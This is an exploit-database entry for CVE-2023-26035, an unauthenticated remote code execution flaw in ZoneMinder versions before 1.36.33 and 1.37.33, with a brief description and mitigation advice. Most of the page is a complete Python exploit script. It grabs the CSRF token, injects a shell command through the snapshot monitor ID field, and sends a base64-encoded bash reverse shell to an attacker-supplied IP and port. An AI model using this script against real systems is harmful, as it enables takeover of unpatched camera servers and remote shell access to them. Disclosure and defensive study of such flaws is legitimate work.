Unauthenticated RCE in ZoneMinder Snapshots

vendor:

ZoneMinder

by:

Ravindu Wickramasinghe

8.1

CVSS

CRITICAL

Remote Code Execution (RCE)

CWE

Product Name: ZoneMinder

Affected Version From: prior to 1.36.33

Affected Version To: 1.37.33

Patch Exists: YES

Related CWE: CVE-2023-26035

CPE: zoneminder

Metasploit:

Other Scripts:

Platforms Tested: Arch Linux, Kali Linux

2023

Unauthenticated RCE in ZoneMinder Snapshots

The exploit allows an unauthenticated attacker to execute arbitrary commands on the vulnerable ZoneMinder instances prior to versions 1.36.33 and 1.37.33. By manipulating a crafted request, the attacker can inject and execute commands on the system. This vulnerability is identified as CVE-2023-26035.

Mitigation:

To mitigate this vulnerability, users are advised to update their ZoneMinder instances to versions 1.36.33 or 1.37.33 or later. Additionally, restrict access to the application to trusted networks only.

Source

Exploit-DB raw data:

import re
import requests
from bs4 import BeautifulSoup
import argparse
import base64

# Exploit Title: Unauthenticated RCE in ZoneMinder Snapshots
# Date: 12 December 2023
# Discovered by : @Unblvr1
# Exploit Author: Ravindu Wickramasinghe (@rvizx9)
# Vendor Homepage: https://zoneminder.com/
# Software Link: https://github.com/ZoneMinder/zoneminder
# Version: prior to 1.36.33 and 1.37.33
# Tested on: Arch Linux, Kali Linux
# CVE : CVE-2023-26035
# Github Link : https://github.com/rvizx/CVE-2023-26035


class ZoneMinderExploit:
    def __init__(self, target_uri):
        self.target_uri = target_uri
        self.csrf_magic = None

    def fetch_csrf_token(self):
        print("[>] fetching csrt token")
        response = requests.get(self.target_uri)
        self.csrf_magic = self.get_csrf_magic(response)
        if response.status_code == 200 and re.match(r'^key:[a-f0-9]{40},\d+', self.csrf_magic):
            print(f"[>] recieved the token: {self.csrf_magic}")
            return True
        print("[!] unable to fetch or parse token.")
        return False

    def get_csrf_magic(self, response):
        return BeautifulSoup(response.text, 'html.parser').find('input', {'name': '__csrf_magic'}).get('value', None)

    def execute_command(self, cmd):
        print("[>] sending payload..")
        data = {'view': 'snapshot', 'action': 'create', 'monitor_ids[0][Id]': f';{cmd}', '__csrf_magic': self.csrf_magic}
        response = requests.post(f"{self.target_uri}/index.php", data=data)
        print("[>] payload sent" if response.status_code == 200 else "[!] failed to send payload")

    def exploit(self, payload):
        if self.fetch_csrf_token():
            print(f"[>] executing...")
            self.execute_command(payload)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target-url', required=True, help='target url endpoint')
    parser.add_argument('-ip', '--local-ip', required=True, help='local ip')
    parser.add_argument('-p', '--port', required=True, help='port')
    args = parser.parse_args()

    # generating the payload
    ps1 = f"bash -i >& /dev/tcp/{args.local_ip}/{args.port} 0>&1"  
    ps2 = base64.b64encode(ps1.encode()).decode()
    payload = f"echo {ps2} | base64 -d | /bin/bash"

    ZoneMinderExploit(args.target_url).exploit(payload)